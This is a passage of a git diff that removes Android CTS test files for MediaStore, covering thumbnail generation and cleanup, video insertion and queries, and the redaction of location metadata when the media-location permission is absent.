-        c.moveToFirst();
-        assertEquals(1, c.getCount());
-        assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
-        assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
-
-        // query all thumbnails with other kind
-        c = Thumbnails.queryMiniThumbnails(mContentResolver, Thumbnails.EXTERNAL_CONTENT_URI,
-                Thumbnails.MICRO_KIND, null);
-        assertEquals(previousMicroKindCount, c.getCount());
-        c.close();
-
-        // query without kind
-        c = Thumbnails.query(mContentResolver, uri, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(Thumbnails.MINI_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
-        assertEquals(path, c.getString(c.getColumnIndex(Thumbnails.DATA)));
-        c.close();
-    }
-
-    @Test
-    public void testQueryExternalMiniThumbnails() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-        final ContentResolver resolver = mContentResolver;
-
-        // insert the image by bitmap
-        BitmapFactory.Options opts = new BitmapFactory.Options();
-        opts.inTargetDensity = DisplayMetrics.DENSITY_XHIGH;
-        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery,opts);
-        String stringUrl = null;
-        try{
-            stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
-        } catch (UnsupportedOperationException e) {
-            // the tests will be aborted because the image will be put in sdcard
-            fail("There is no sdcard attached! " + e.getMessage());
-        }
-        assertNotNull(stringUrl);
-        Uri stringUri = Uri.parse(stringUrl);
-        mRowsAdded.add(stringUri);
-
-        // get the original image id and path
-        Cursor c = mContentResolver.query(stringUri,
-                new String[]{ Media._ID, Media.DATA }, null, null, null);
-        c.moveToFirst();
-        long imageId = c.getLong(c.getColumnIndex(Media._ID));
-        String imagePath = c.getString(c.getColumnIndex(Media.DATA));
-        c.close();
-
-        MediaStore.waitForIdle(mContext);
-        assertExists("image file does not exist", imagePath);
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // deleting the image from the database also deletes the image file, and the
-        // corresponding entry in the thumbnail table, which in turn triggers deletion
-        // of the thumbnail file on disk
-        mContentResolver.delete(stringUri, null, null);
-        mRowsAdded.remove(stringUri);
-
-        MediaStore.waitForIdle(mContext);
-        assertNotExists("image file should no longer exist", imagePath);
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // insert image, then delete it via the files table
-        stringUrl = Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null);
-        c = mContentResolver.query(Uri.parse(stringUrl),
-                new String[]{ Media._ID, Media.DATA}, null, null, null);
-        c.moveToFirst();
-        imageId = c.getLong(c.getColumnIndex(Media._ID));
-        imagePath = c.getString(c.getColumnIndex(Media.DATA));
-        c.close();
-        assertExists("image file does not exist", imagePath);
-        Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
-        mContentResolver.delete(fileuri, null, null);
-        assertNotExists("image file should no longer exist", imagePath);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
-                null, null));
-        c.close();
-        assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri(mVolumeName), null, null,
-                null, null));
-        c.close();
-    }
-
-    @Test
-    public void testStoreImagesMediaExternal() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-        prepareImages();
-
-        final String externalImgPath = Environment.getExternalStorageDirectory() +
-                "/testimage.jpg";
-        final String externalImgPath2 = Environment.getExternalStorageDirectory() +
-                "/testimage1.jpg";
-        ContentValues values = new ContentValues();
-        values.put(Thumbnails.KIND, Thumbnails.FULL_SCREEN_KIND);
-        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mRed));
-        values.put(Thumbnails.HEIGHT, 480);
-        values.put(Thumbnails.WIDTH, 320);
-        values.put(Thumbnails.DATA, externalImgPath);
-
-        // insert
-        Uri uri = mContentResolver.insert(Thumbnails.EXTERNAL_CONTENT_URI, values);
-        assertNotNull(uri);
-
-        // query
-        Cursor c = mContentResolver.query(uri, null, null, null, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        long id = c.getLong(c.getColumnIndex(Thumbnails._ID));
-        assertTrue(id > 0);
-        assertEquals(Thumbnails.FULL_SCREEN_KIND, c.getInt(c.getColumnIndex(Thumbnails.KIND)));
-        assertEquals(ContentUris.parseId(mRed), c.getLong(c.getColumnIndex(Thumbnails.IMAGE_ID)));
-        assertEquals(480, c.getInt(c.getColumnIndex(Thumbnails.HEIGHT)));
-        assertEquals(320, c.getInt(c.getColumnIndex(Thumbnails.WIDTH)));
-        assertEquals(externalImgPath, c.getString(c.getColumnIndex(Thumbnails.DATA)));
-        c.close();
-
-        // update
-        values.clear();
-        values.put(Thumbnails.KIND, Thumbnails.MICRO_KIND);
-        values.put(Thumbnails.IMAGE_ID, ContentUris.parseId(mBlue));
-        values.put(Thumbnails.HEIGHT, 50);
-        values.put(Thumbnails.WIDTH, 50);
-        values.put(Thumbnails.DATA, externalImgPath2);
-        assertEquals(1, mContentResolver.update(uri, values, null, null));
-
-        // delete
-        assertEquals(1, mContentResolver.delete(uri, null, null));
-    }
-
-    @Test
-    public void testThumbnailGenerationAndCleanup() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-        final ContentResolver resolver = mContentResolver;
-
-        // insert an image
-        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
-        Uri uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
-                "test description"));
-        long imageId = ContentUris.parseId(uri);
-
-        MediaStore.waitForIdle(mContext);
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // delete the source image and check that the thumbnail is gone too
-        mContentResolver.delete(uri, null /* where clause */, null /* where args */);
-
-        MediaStore.waitForIdle(mContext);
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // insert again
-        uri = Uri.parse(Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(),
-                "test description"));
-        imageId = ContentUris.parseId(uri);
-
-        // query its thumbnail again
-        MediaStore.waitForIdle(mContext);
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // update the media type
-        ContentValues values = new ContentValues();
-        values.put("media_type", 0);
-        assertEquals("unexpected number of updated rows",
-                1, mContentResolver.update(uri, values, null /* where */, null /* where args */));
-
-        // image was marked as regular file in the database, which should have deleted its thumbnail
-        MediaStore.waitForIdle(mContext);
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
-        assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
-
-        // check source no longer exists as image
-        Cursor c = mContentResolver.query(uri,
-                null /* projection */, null /* where */, null /* where args */, null /* sort */);
-        assertFalse("source entry should be gone", c.moveToNext());
-        c.close();
-
-        // check source still exists as file
-        Uri fileUri = ContentUris.withAppendedId(
-                MediaStore.Files.getContentUri("external"),
-                Long.valueOf(uri.getLastPathSegment()));
-        c = mContentResolver.query(fileUri,
-                null /* projection */, null /* where */, null /* where args */, null /* sort */);
-        assertTrue("source entry is gone", c.moveToNext());
-        String sourcePath = c.getString(c.getColumnIndex("_data"));
-        c.close();
-
-        // clean up
-        mContentResolver.delete(fileUri, null /* where */, null /* where args */);
-        new File(sourcePath).delete();
-    }
-
-    @Test
-    public void testThumbnailOrderedQuery() throws Exception {
-        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
-        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
-        Uri url[] = new Uri[3];
-        try{
-            for (int i = 0; i < url.length; i++) {
-                url[i] = Uri.parse(
-                        Media.insertImage(mContentResolver, src, "cts" + System.nanoTime(), null));
-                mRowsAdded.add(url[i]);
-                long origId = Long.parseLong(url[i].getLastPathSegment());
-                MediaStore.waitForIdle(mContext);
-                Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
-                        origId, Thumbnails.MICRO_KIND, null);
-                assertNotNull(foo);
-            }
-
-            // Remove one of the images, which will also delete any thumbnails
-            // If the image was deleted, we don't want to delete it again
-            if (mContentResolver.delete(url[1], null, null) > 0) {
-                mRowsAdded.remove(url[1]);
-            }
-
-            long removedId = Long.parseLong(url[1].getLastPathSegment());
-            long remainingId1 = Long.parseLong(url[0].getLastPathSegment());
-            long remainingId2 = Long.parseLong(url[2].getLastPathSegment());
-
-            // check if a thumbnail is still being returned for the image that was removed
-            MediaStore.waitForIdle(mContext);
-            Bitmap foo = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
-                    removedId, Thumbnails.MICRO_KIND, null);
-            assertNull(foo);
-
-            for (String order: new String[] { " ASC", " DESC" }) {
-                Cursor c = mContentResolver.query(
-                        MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null,
-                        MediaColumns._ID + order);
-                while (c.moveToNext()) {
-                    long id = c.getLong(c.getColumnIndex(MediaColumns._ID));
-                    MediaStore.waitForIdle(mContext);
-                    foo = MediaStore.Images.Thumbnails.getThumbnail(
-                            mContentResolver, id,
-                            MediaStore.Images.Thumbnails.MICRO_KIND, null);
-                    if (id == removedId) {
-                        assertNull("unexpected bitmap with" + order + " ordering", foo);
-                    } else if (id == remainingId1 || id == remainingId2) {
-                        assertNotNull("missing bitmap with" + order + " ordering", foo);
-                    }
-                }
-                c.close();
-            }
-        } catch (UnsupportedOperationException e) {
-            // the tests will be aborted because the image will be put in sdcard
-            fail("There is no sdcard attached! " + e.getMessage());
-        }
-    }
-
-    @Test
-    public void testInsertUpdateDelete() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalImages, displayName, "image/png");
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri finalUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (OutputStream out = session.openOutputStream()) {
-                writeImage(mLargestDimension, mLargestDimension, Color.RED, out);
-            }
-            finalUri = session.publish();
-        }
-
-        // Directly reading should be larger
-        final Bitmap full = ImageDecoder
-                .decodeBitmap(ImageDecoder.createSource(mContentResolver, finalUri));
-        assertEquals(mLargestDimension, full.getWidth());
-        assertEquals(mLargestDimension, full.getHeight());
-
-        {
-            // Thumbnail should be smaller
-            MediaStore.waitForIdle(mContext);
-            final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-            assertTrue(thumb.getWidth() < full.getWidth());
-            assertTrue(thumb.getHeight() < full.getHeight());
-
-            // Thumbnail should match contents
-            assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
-        }
-
-        // Verify legacy APIs still work
-        if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
-            for (int kind : new int[] {
-                    MediaStore.Images.Thumbnails.MINI_KIND,
-                    MediaStore.Images.Thumbnails.FULL_SCREEN_KIND,
-                    MediaStore.Images.Thumbnails.MICRO_KIND
-            }) {
-                // Thumbnail should be smaller
-                MediaStore.waitForIdle(mContext);
-                final Bitmap thumb = MediaStore.Images.Thumbnails.getThumbnail(mContentResolver,
-                        ContentUris.parseId(finalUri), kind, null);
-                assertTrue(thumb.getWidth() < full.getWidth());
-                assertTrue(thumb.getHeight() < full.getHeight());
-
-                // Thumbnail should match contents
-                assertColorMostlyEquals(Color.RED, thumb.getPixel(16, 16));
-            }
-        }
-
-        // Edit image contents
-        try (OutputStream out = mContentResolver.openOutputStream(finalUri)) {
-            writeImage(mLargestDimension, mLargestDimension, Color.BLUE, out);
-        }
-
-        // Wait a few moments for events to settle
-        MediaStore.waitForIdle(mContext);
-
-        {
-            // Thumbnail should match updated contents
-            MediaStore.waitForIdle(mContext);
-            final Bitmap thumb = mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-            assertColorMostlyEquals(Color.BLUE, thumb.getPixel(16, 16));
-        }
-
-        // Delete image contents
-        mContentResolver.delete(finalUri, null, null);
-
-        // Thumbnail should no longer exist
-        try {
-            MediaStore.waitForIdle(mContext);
-            mContentResolver.loadThumbnail(finalUri, new Size(32, 32), null);
-            fail("Funky; we somehow made a thumbnail out of nothing?");
-        } catch (FileNotFoundException expected) {
-        }
-    }
-
-    private static void writeImage(int width, int height, int color, OutputStream out) {
-        final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        final Canvas canvas = new Canvas(bitmap);
-        canvas.drawColor(color);
-        bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
-    }
-
-    /**
-     * Since thumbnails might be bounced through a compression pass, we're okay
-     * if they're mostly equal.
-     */
-    private static void assertColorMostlyEquals(int expected, int actual) {
-        assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
-                Integer.toHexString(actual & 0xF0F0F0F0));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
deleted file mode 100644
index 98242b8..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Video;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_VideoTest {
-    private Context mContext;
-    private ContentResolver mResolver;
-
-    private Uri mExternalVideo;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testQuery() throws Exception {
-        ContentValues values = new ContentValues();
-
-        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testVideo" + System.nanoTime() + ".3gp");
-        final String valueOfData = file.getAbsolutePath();
-        ProviderTestUtils.stageFile(R.raw.testvideo, file);
-
-        values.put(VideoColumns.DATA, valueOfData);
-
-        Uri newUri = mResolver.insert(mExternalVideo, values);
-        assertNotNull(newUri);
-
-        Cursor c = Video.query(mResolver, newUri, new String[] { VideoColumns.DATA });
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(valueOfData, c.getString(c.getColumnIndex(VideoColumns.DATA)));
-        c.close();
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
deleted file mode 100644
index 92ce7e0..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ /dev/null
@@ -1,417 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.AppOpsManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.media.MediaExtractor;
-import android.media.MediaMetadataRetriever;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.storage.StorageManager;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Video.Media;
-import android.provider.MediaStore.Video.VideoColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.FileUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Arrays;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Video_MediaTest {
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalVideo;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testGetContentUri() {
-        Cursor c = null;
-        assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
-                null));
-        c.close();
-        assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
-                null));
-        c.close();
-    }
-
-    private void cleanExternalMediaFile(String path) {
-        mContentResolver.delete(mExternalVideo, "_data=?", new String[] { path });
-        new File(path).delete();
-    }
-
-    @Test
-    public void testStoreVideoMediaExternal() throws Exception {
-        final String externalVideoPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testvideo.3gp").getAbsolutePath();
-        final String externalVideoPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testvideo1.3gp").getAbsolutePath();
-
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(externalVideoPath);
-        cleanExternalMediaFile(externalVideoPath2);
-
-        int numBytes = 1337;
-        File videoFile = new File(externalVideoPath);
-        FileUtils.createFile(videoFile, numBytes);
-
-        ContentValues values = new ContentValues();
-        values.put(Media.ALBUM, "cts");
-        values.put(Media.ARTIST, "cts team");
-        values.put(Media.CATEGORY, "test");
-        long dateTaken = System.currentTimeMillis();
-        values.put(Media.DATE_TAKEN, dateTaken);
-        values.put(Media.DESCRIPTION, "This is a video");
-        values.put(Media.DURATION, 8480);
-        values.put(Media.LANGUAGE, "en");
-        values.put(Media.IS_PRIVATE, 1);
-        values.put(Media.MINI_THUMB_MAGIC, 0);
-        values.put(Media.RESOLUTION, "176x144");
-        values.put(Media.TAGS, "cts, test");
-        values.put(Media.DATA, externalVideoPath);
-        values.put(Media.DISPLAY_NAME, "testvideo.3gp");
-        values.put(Media.MIME_TYPE, "video/3gpp");
-        values.put(Media.SIZE, numBytes);
-        values.put(Media.TITLE, "testvideo");
-        long dateAdded = System.currentTimeMillis() / 1000;
-        values.put(Media.DATE_ADDED, dateAdded);
-        long dateModified = videoFile.lastModified() / 1000;
-        values.put(Media.DATE_MODIFIED, dateModified);
-
-        // insert
-        Uri uri = mContentResolver.insert(mExternalVideo, values);
-        assertNotNull(uri);
-
-        try {
-            // query
-            Cursor c = mContentResolver.query(uri, null, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            long id = c.getLong(c.getColumnIndex(Media._ID));
-            assertTrue(id > 0);
-            assertEquals("cts", c.getString(c.getColumnIndex(Media.ALBUM)));
-            assertEquals("cts team", c.getString(c.getColumnIndex(Media.ARTIST)));
-            assertEquals("test", c.getString(c.getColumnIndex(Media.CATEGORY)));
-            assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
-            assertEquals(8480, c.getInt(c.getColumnIndex(Media.DURATION)));
-            assertEquals("This is a video",
-                    c.getString(c.getColumnIndex(Media.DESCRIPTION)));
-            assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
-            assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
-            assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
-            assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
-            assertEquals("cts, test", c.getString(c.getColumnIndex(Media.TAGS)));
-            assertEquals(externalVideoPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals("testvideo.3gp", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
-            assertEquals("video/3gpp", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
-            assertEquals("testvideo", c.getString(c.getColumnIndex(Media.TITLE)));
-            assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
-            long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
-            assertTrue(realDateAdded >= dateAdded);
-            assertEquals(dateModified, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
-            c.close();
-        } finally {
-            // delete
-            assertEquals(1, mContentResolver.delete(uri, null, null));
-            new File(externalVideoPath).delete();
-        }
-
-        // check that the video file is removed when deleting the database entry
-        Context context = mContext;
-        Uri videoUri = insertVideo(context);
-        File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
-        assertExists(videofile);
-        mContentResolver.delete(videoUri, null, null);
-        assertNotExists(videofile);
-    }
-
-    private Uri insertVideo(Context context) throws IOException {
-        final File dir = ProviderTestUtils.stageDir(mVolumeName);
-        final File file = new File(dir, "testVideo.3gp");
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(file.getAbsolutePath());
-
-        ProviderTestUtils.stageFile(R.raw.testvideo, file);
-
-        ContentValues values = new ContentValues();
-        values.put(VideoColumns.DATA, file.getAbsolutePath());
-        return context.getContentResolver().insert(mExternalVideo, values);
-    }
-
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
-     * location information should be redacted.
-     */
-    @Test
-    public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalVideo, displayName, "video/mp4");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
-
-        // Since we own the video, we should be able to see the location
-        // we ourselves contributed
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals("+37.4217-122.0834/",
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-        }
-        try (InputStream in = mContentResolver.openInputStream(publishUri)) {
-            byte[] bytes = FileUtils.readInputStreamFully(in);
-            byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
-            String xmp = new String(xmpBytes);
-            assertTrue("Failed to read XMP longitude", xmp.contains("10,41.751000E"));
-            assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
-            assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
-        }
-        // As owner, we should be able to request the original bytes
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-        }
-
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            if (mContext.getPackageManager().checkPermission(
-                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
-                    == PackageManager.PERMISSION_GRANTED) {
-
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-                InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                        dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that location should be redacted
-        ProviderTestUtils.executeShellCommand("content update"
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
-                + " --uri " + publishUri + " --bind owner_package_name:n:",
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals(null,
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-        }
-        try (InputStream in = mContentResolver.openInputStream(publishUri)) {
-            byte[] bytes = FileUtils.readInputStreamFully(in);
-            byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
-            String xmp = new String(xmpBytes);
-            assertFalse("Failed to redact XMP longitude", xmp.contains("10,41.751000E"));
-            assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
-            assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
-        }
-        // We can't request original bytes unless we have permission
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
-        } catch (UnsupportedOperationException expected) {
-        }
-    }
-
-    @Test
-    public void testLocationDeprecated() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalVideo, displayName, "video/mp4");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
-                    OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        // Verify that location wasn't indexed
-        try (Cursor c = mContentResolver.query(publishUri,
-                new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertTrue(c.isNull(0));
-            assertTrue(c.isNull(1));
-        }
-
-        // Verify that location values aren't recorded
-        final ContentValues values = new ContentValues();
-        values.put(VideoColumns.LATITUDE, 32f);
-        values.put(VideoColumns.LONGITUDE, 64f);
-        mContentResolver.update(publishUri, values, null, null);
-
-        try (Cursor c = mContentResolver.query(publishUri,
-                new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertTrue(c.isNull(0));
-            assertTrue(c.isNull(1));
-        }
-    }
-
-    @Test
-    public void testCanonicalize() throws Exception {
-        // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand("content delete"
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
